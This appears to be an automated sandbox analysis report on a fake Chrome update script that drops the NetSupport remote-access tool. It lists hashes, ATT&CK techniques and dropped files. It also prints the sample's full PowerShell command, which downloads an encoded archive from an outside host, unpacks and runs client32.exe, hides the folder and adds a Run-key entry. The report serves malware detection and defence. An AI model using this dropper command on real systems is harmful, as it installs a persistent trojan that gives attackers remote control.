netsupport | 1351023e4077e614fe8039ea2a7fe7309cae1e8750f8cc4120f2d11d20b16ea7

Analysis

max time kernel
1815s
max time network
1834s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
26/12/2023, 17:33

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General

Target

Chrome_update.js
Size

107KB
MD5

bd7e4b17d2c16778b9df00cf9a5fa922
SHA1

9d7f54594b0535db3e0964eff8098fe7e8318207
SHA256

1351023e4077e614fe8039ea2a7fe7309cae1e8750f8cc4120f2d11d20b16ea7
SHA512

4bc3e70d8aa24ecf09dd927fbbe893164ebcf48c9a646232ffe745598d639020ce499018970ed925b35422bbbc84bbfff0fb362f450a2b2da4a9138a57671fb4
SSDEEP

3072:JtfeJN6SztfeJN6SztfeJN6SmtfeJN6SqtfeJN6SEtfeJN6SI:JcxzcxzcxmcxqcxEcxI

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://proximaideia.com/GetData.php?11566

exe.dropper

https://proximaideia.com/GetData.php?11566

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	4544	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
852	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
852	client32.exe
852	client32.exe
852	client32.exe
852	client32.exe
852	client32.exe
852	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DIVXX = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-839\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	852	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
852	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 4544	4360	wscript.exe	89
PID 4360 wrote to memory of 4544	4360	wscript.exe	89
PID 4544 wrote to memory of 852	4544	powershell.exe	110
PID 4544 wrote to memory of 852	4544	powershell.exe	110
PID 4544 wrote to memory of 852	4544	powershell.exe	110

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Chrome_update.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $nntVEtLPCDWephccqsBomzNSUjugpRU='https://proximaideia.com/GetData.php?11566';$xOpyUHtBtkutEfCnxSXymMySaCWKcdjtRyK=(New-Object System.Net.WebClient).DownloadString($nntVEtLPCDWephccqsBomzNSUjugpRU);$gbUHCEReEpZy=[System.Convert]::FromBase64String($xOpyUHtBtkutEfCnxSXymMySaCWKcdjtRyK);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $ntccpnajkXz=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $ntccpnajkXz -PathType Container)) { New-Item -Path $ntccpnajkXz -ItemType Directory };$p=Join-Path $ntccpnajkXz 'rtrs.zip';[System.IO.File]::WriteAllBytes($p,$gbUHCEReEpZy);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$ntccpnajkXz)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $ntccpnajkXz 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $ntccpnajkXz -Force; $FSDFSSD.attributes='Hidden';$s=$ntccpnajkXz+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='DIVXX';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Users\Admin\AppData\Roaming\DIVX-839\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX-839\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rebbvtzp.oha.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\HTCTL32.DLL

Filesize
86KB

MD5
b8eef74ceb05ee2cce7db4fa05a0a8b0

SHA1
52a15a4632e905b184df72d9d006f81bc0ee51d9

SHA256
c491c5b6b904741fefad44b0540967c395abaef4da63eced1f268ce10e2fd2e5

SHA512
d9e8241478aa82dad290ca0583fc6c4c353ca4d29f2487e5b08796159e6c897ee3c374418b48b313b959b4eeedb07662e665fc55cc91ae2e4ebe63c925910d73

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\HTCTL32.DLL

Filesize
149KB

MD5
6ee4479549ea6ad075bf6a39323e8ea4

SHA1
a006dc3e94c5a78ab28bbd35b1e7b763df46294e

SHA256
cbc27813a88c8a04f0a1054a6c89711b667cfae2e499a51057132ffcaabbf099

SHA512
2db04c5699f12714a7ed127205888de879e48313c425d71123590c19ab9490fb2fc98145b30fc832c322b1a8957975aacb52bda5f798954c70f5236fa9d5da3c

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\MSVCR100.dll

Filesize
550KB

MD5
d02c764af6f9ac5117de0f7ffe2e451d

SHA1
c67f006ec7b92af14eaaa0b2b3c0b54ceaa97393

SHA256
c810ac4a5097febe2b6df0f862128c8f2583aa0993ac42cbf892658b78ce3f41

SHA512
664b09101e18b45169dfe4e6fca6ea6eb56792aa8f822b0d6bbd8b1ff30a78adf5d50c7e240bbe3508612890dbbbc0bab1507e6b6def81e028176a54c6036dbf

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\PCICL32.DLL

Filesize
645KB

MD5
20c1de7ddef8db3d0c6efba798719f03

SHA1
adc41f627fa3642b12da85b27fd721f0b2a3c4c5

SHA256
0a0a875a028ee205d2edbf0479ee18726d6a274590b3c17d858bb510091adfc3

SHA512
c3ba7601a57cebe7fffc6108d2a6facfc0ee6d2bf0b12bf319467b57bb2edce43a6a912930cdeda251684ee9d4bd4d7e1404d9ea9f182bc9687934f21270360e

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\PCICL32.dll

Filesize
1.4MB

MD5
f22b93c5f04f918e24f77829309167d5

SHA1
4ec28bb7a9777df90cdd60e26ad74fa0cfa2ea9a

SHA256
da9219de4b379a7068d1825d5bb4666885366808f41544523ba34f376281c27c

SHA512
5f077ef2232415f9feecacfbf4c5289164e9830ca421a7d580dd2d87b68c8ed49360f3d59fba4483450c8269e4919aee1bc3be408a8f5f0464e93e21aa75e10a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\client32.ini

Filesize
670B

MD5
b11f62b15f97cf5afb117e967c223882

SHA1
d6cc3f4c7cad5bf28d9c44bee2362b8edc69097b

SHA256
13fe71354608a9345d9d7c1600568ec911d718ece989442a39a5601e5fe35586

SHA512
85dbba7dcb1aa1015c186567b06ca2ae5a782a21b0b4008496fb831b39f27e5ee79c716e46aa07a9392fd3037aa1e7b4dbb47f217b1f0eb1c7fc9516d775cc7a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\msvcr100.dll

Filesize
445KB

MD5
5e60851ff606877ded7978ed3d67d1bb

SHA1
7d2ad11d5aef8819e23f8f22dc557cce7fa5a048

SHA256
8611970e2935c8645859401dc93d313cfbfb7fe0507c161db649714d45ca17bf

SHA512
7221bd6865363f1627f21f374943414d300538326ca45a391285061efb1414d096465bd386b1d89038373f511997ac0fcfe2918638bfc664aef4d3c72c5deb70

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\msvcr100.dll

Filesize
354KB

MD5
5c83138676ddac06f53b727a29babbdb

SHA1
37b6ba6d30a181c6d01988344d1b5721e3115c3e

SHA256
03294d41b92c99b4313938ab9e30b4aff79c44f6d1eb7bf13064fd01691b8de4

SHA512
8c8913199329a7acdcd22a0110ccad76ba99cb63705faa48aa9ca3027263e33aa8539c8c6d29c6ec5de2778e7fb2449b3ae1cf8b257439b58c4cadbba215ff4b

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-839\pcichek.dll

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
memory/4544-14-0x00007FFAF99C0000-0x00007FFAFA481000-memory.dmp

Filesize
10.8MB

Download
memory/4544-15-0x000001DEE3600000-0x000001DEE3610000-memory.dmp

Filesize
64KB

Download
memory/4544-16-0x000001DEE3600000-0x000001DEE3610000-memory.dmp

Filesize
64KB

Download
memory/4544-19-0x000001DEFE050000-0x000001DEFE062000-memory.dmp

Filesize
72KB

Download
memory/4544-18-0x000001DEFE020000-0x000001DEFE02A000-memory.dmp

Filesize
40KB

Download
memory/4544-9-0x000001DEFDD40000-0x000001DEFDD62000-memory.dmp

Filesize
136KB

Download
memory/4544-80-0x00007FFAF99C0000-0x00007FFAFA481000-memory.dmp

Filesize
10.8MB

Download
memory/4544-12-0x000001DEE3600000-0x000001DEE3610000-memory.dmp

Filesize
64KB

Download
memory/4544-13-0x000001DEE3600000-0x000001DEE3610000-memory.dmp

Filesize
64KB

Download
memory/4544-11-0x000001DEE3600000-0x000001DEE3610000-memory.dmp

Filesize
64KB

Download
memory/4544-10-0x00007FFAF99C0000-0x00007FFAFA481000-memory.dmp

Filesize
10.8MB

Download